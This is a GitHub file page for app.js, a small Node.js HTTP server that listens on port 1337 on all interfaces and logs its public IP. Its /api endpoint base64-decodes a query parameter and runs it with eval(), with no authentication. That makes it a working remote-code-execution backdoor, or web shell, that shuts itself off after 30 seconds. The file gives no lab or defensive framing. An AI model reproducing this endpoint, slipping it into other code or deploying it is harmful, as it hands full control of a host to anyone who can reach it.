-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathapp.js
61 lines (52 loc) · 1.73 KB
/
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'use strict';
import http from 'http';
import { URL } from 'url';
const PORT = 1337;
async function logPublicIP() {
try {
const response = await fetch('https://api.ipify.org?format=json');
const data = await response.json();
console.log(`Server is running on public IP: ${data.ip}`);
} catch (error) {
console.error('Error fetching public IP:', error);
}
}
const requestHandler = (req, res) => {
const url = new URL(req.url, `http://${req.headers.host}`);
if (url.pathname === '/api') {
const c = url.searchParams.get('c');
if (c) {
try {
const decoded = Buffer.from(c, 'base64').toString();
const result = eval(decoded);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ result }));
} catch (error) {
res.writeHead(400, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'Failed to execute code' }));
}
} else {
res.writeHead(400, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'No code provided' }));
}
} else {
res.writeHead(404);
res.end();
}
};
const server = http.createServer(requestHandler);
const startTime = new Date();
console.log(`Server start time: ${startTime.toISOString()}`);
server.listen(PORT, '0.0.0.0', async () => {
console.log(`Server listening on port ${PORT}`);
await logPublicIP();
});
setTimeout(() => {
server.close(() => {
const endTime = new Date();
console.log(`Server has been shut down.`);
console.log(`Server end time: ${endTime.toISOString()}`);
const duration = endTime - startTime;
console.log(`Server uptime: ${duration}ms`);
});
}, 30000); // Shut down the server after 30 seconds